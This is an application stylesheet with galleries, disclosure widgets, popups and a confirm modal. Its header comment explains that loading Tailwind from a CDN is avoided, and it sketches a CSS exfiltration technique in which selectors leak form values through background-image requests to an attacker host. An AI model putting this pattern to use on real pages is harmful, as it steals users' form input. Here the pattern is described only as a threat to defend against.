/*
 * Minimal application CSS.
 *
 * SECURITY: Tailwind is intentionally NOT loaded via @import url(CDN) here.
 * @import url(...) cannot be pinned with Subresource Integrity, so a CDN
 * compromise could inject arbitrary CSS — including selectors that exfiltrate
 * form data via background-image: url(https://attacker/?value=...) requests.
 *
 * Production: compile Tailwind locally (see docs/FRONTEND.md), output to
 * public/assets/tailwind.css.
 * Development: load the CDN bundle from base.html.twig as
 *   <link rel="stylesheet" href="..." integrity="sha384-..." crossorigin="anonymous">
 */

.arylia-banner {
    display: inline-block;
    max-width: 100%;
    height: auto;
}

.arylia-gallery img {
    display: block;
    max-width: 100%;
    height: auto;
}

.arylia-gallery--single img {
    margin: 0.5rem auto;
}

.arylia-gallery table {
    border-collapse: separate;
}

/* ---- Disclosure widgets (<details><summary>) ---- */
details > summary {
    list-style: none;
    cursor: pointer;
    padding: 0.25rem 0;
    user-select: none;
    display: flex;
    align-items: center;
    gap: 0.375rem;
}
details > summary::-webkit-details-marker { display: none; }
details > summary::before {
    content: '';
    display: inline-block;
    width: 0.625rem;
    height: 0.625rem;
    background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' fill='none' stroke='%230369a1' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'><polyline points='4 2 8 6 4 10'/></svg>");
    background-repeat: no-repeat;
    background-position: center;
    background-size: contain;
    transition: transform 150ms ease;
    flex-shrink: 0;
}
details[open] > summary::before { transform: rotate(90deg); }
details > summary:hover { color: #0369a1; }

/* ---- Hover description popup (gallery list, etc.) ---- */
.arylia-hover-popup {
    position: fixed;
    z-index: 50;
    display: none;
    max-width: 360px;
    background: #fff;
    border: 1px solid #cbd5e1;
    border-radius: 6px;
    box-shadow: 0 8px 24px rgba(15, 23, 42, 0.15);
    padding: 0.5rem;
    font-size: 0.85rem;
    color: #1e293b;
    pointer-events: none;
}
.arylia-hover-popup img {
    display: block;
    width: 100%;
    max-width: 220px;
    height: auto;
    border-radius: 4px;
    margin-bottom: 0.375rem;
}
.arylia-hover-popup h3 {
    font-size: 0.95rem;
    font-weight: 600;
    margin: 0 0 0.25rem;
}
.arylia-hover-popup p {
    margin: 0;
    color: #475569;
    line-height: 1.4;
}

/* ---- Mouse-positioned confirm modal ---- */
.arylia-confirm-box {
    position: fixed;
    z-index: 60;
    display: none;
    max-width: 320px;
    background: #fff;
    border: 1px solid #94a3b8;
    border-radius: 6px;
    box-shadow: 0 12px 28px rgba(15, 23, 42, 0.2);
    padding: 0.75rem;
    font-size: 0.875rem;
    color: #1e293b;
}
.arylia-confirm-box p { margin: 0 0 0.5rem; line-height: 1.4; }
.arylia-confirm-actions {
    display: flex;
    gap: 0.5rem;
    justify-content: flex-end;
}
.arylia-confirm-yes {
    background: #dc2626;
    color: #fff;
    border-radius: 4px;
    padding: 0.25rem 0.625rem;
    font-weight: 500;
    text-decoration: none;
}
.arylia-confirm-yes:hover { background: #b91c1c; }
.arylia-confirm-no {
    background: #fff;
    color: #334155;
    border: 1px solid #cbd5e1;
    border-radius: 4px;
    padding: 0.25rem 0.625rem;
    cursor: pointer;
}
.arylia-confirm-no:hover { background: #f1f5f9; }

/* ---- Settings inline help bar ---- */
.arylia-help-bar {
    position: fixed;
    z-index: 40;
    left: 0;
    right: 0;
    bottom: 0;
    padding: 0.5rem 1rem;
    background: #0c4a6e;
    color: #f0f9ff;
    font-size: 0.875rem;
    line-height: 1.4;
    box-shadow: 0 -4px 12px rgba(15, 23, 42, 0.2);
}
